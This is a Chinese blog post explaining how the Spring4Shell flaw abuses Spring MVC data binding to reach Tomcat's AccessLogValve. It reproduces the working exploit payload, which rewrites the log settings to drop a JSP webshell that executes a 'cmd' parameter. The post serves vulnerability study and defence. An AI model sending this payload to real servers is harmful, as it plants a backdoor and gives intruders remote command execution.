日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 前端技术 > javascript >内容正文

javascript

Spring4Shell的漏洞原理分析

發(fā)布時間:2023/12/4 javascript 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Spring4Shell的漏洞原理分析 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

Spring框架最新的PoC

這兩天出來的一個RCE漏洞,但是有以下的條件限制才行:

  • 必須是jdk9及以上

  • 必須是部署在tomcat的應用

  • 是springmvc的或者webflux的應用

具體的可以查看spring官方:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

我看到這個漏洞的時候,就去查了以下怎么利用的,github一搜很多py腳本。

但是我沒找到漏洞利用的原理,所以我就自己做了個demo,然后debugger了一下,原來是這樣~

漏洞利用的原理

我們都知道,我們在springmvc的時候經常會這么寫代碼來接收前端傳來的參數

@RequestMapping(value?=?"/register",?method?=?RequestMethod.GET) public?String?register(@RequestParam?Map<String,?String>?requestparams,?Model?model)?throws?Exception?{String?email?=?requestparams.get("email");String?username?=?requestparams.get("username");model.addAttribute("data",?"email:"?+?email?+?"?username:"?+?username);return?"index"; }

如果我們這么訪問:

http://localhost:8080/vulnerable_war/register?email=11&username=b

那么返回的結果就是這樣:

image

那么如果我們把接收的類型從Map轉成一個POJO的話,就像這樣:

@RequestMapping(value?=?"/register2",?method?=?RequestMethod.GET) public?String?register2(HelloWorld?obj,?Model?model)?throws?Exception?{model.addAttribute("data",?obj.toString());return?"index"; }

訪問一下:

image

這說明了,springmvc框架幫我們做了一個很重要的事情:

通過我們請求的數據,轉成了POJO對象。

恰巧就是這個非常好用的封裝導致了這個POC

解析POC第一步:到底構造了一個什么數據會引發(fā)呢?

跑的環(huán)境是:

  • jdk11

  • tomcat8.5.58

  • spring-webmvc5.3.15

class.module.classLoader.resources.context.parent.pipeline.first.pattern= %{c2}i?if("j".equals(request.getParameter("pwd"))){?java.io.InputStream?in?=?%{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream();?int?a?=?-1;?byte[]?b?=?new?byte[2048];?while((a=in.read(b))!=-1){?out.println(new?String(b));?}?}?%{suffix}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

將上面的數據用下面post的方式調用下面的接口

image@RequestMapping(value?=?"/rapid7") public?void?vulnerable(HelloWorld?model)?{}

注意header里面的值是需要的,目的是為了迎合tomcat日志的pattern(下面會講到)

  • %i 這個語法是從請求的header里面拿xxx

就會在tomcat的Root目錄下生成一個jsp文件

image

內容如下:

image

計息POC第二步:jsp文件是怎么生成的?

方法接收的class:HelloWorld,我這么傳,spring框架是怎么來處理的呢?

image

根據HelloWorld的實例

結合傳過來屬性路徑:class.module.classLoader.resources.context.parent.pipeline.first.pattern

然后一步步的運用反射來去拿屬性對應的值,這個例子的話就是

  • 調用HelloWorld的getClass() 拿到Class對象

  • 通過class對象調用getModule()

  • 通過Module調用getClassLoader()

  • 通過ClassLoader拿resources

  • context是Tomcat的StandardContext

  • parent拿到的是StandardEngine

  • pipeline拿到的是StandardPipeline

  • first拿到的是AccessLogValve

可以在下圖所示設置斷點:就可以看到上面說的每一步了

主角上場:

AccessLogValve是tomcat記錄日志的,

  • pattern是日志格式

  • suffix是日志文件的后綴

  • prefix是日志文件的前綴

  • fileDateFormat是日期文件的時間格式

謎底揭曉

根據以上分析,我們知道,傳過去的data由對象的class作為引子,然后springmvc會一步步反射拿屬性的方式最終是給AccessLogValve對象的幾個屬性的賦值操作

經過對tomcat的處理請求的日志管道(AccessLogValve)的改寫,導致當前請求會被觸發(fā)記錄日志,日志會按照我們想要的方式生成了一個jsp文件。

image

為啥是jdk9及以上版本呢,因為module的概念是從jdk9開始的~

為啥是得部署到tomcat里的應用呢,因為只有這樣才會利用它的日志功能~

spring是咋修復的

image

我是正東,學的越多不知道也越多。一個漏洞引發(fā)的思考~收獲挺大!

總結

以上是生活随笔為你收集整理的Spring4Shell的漏洞原理分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。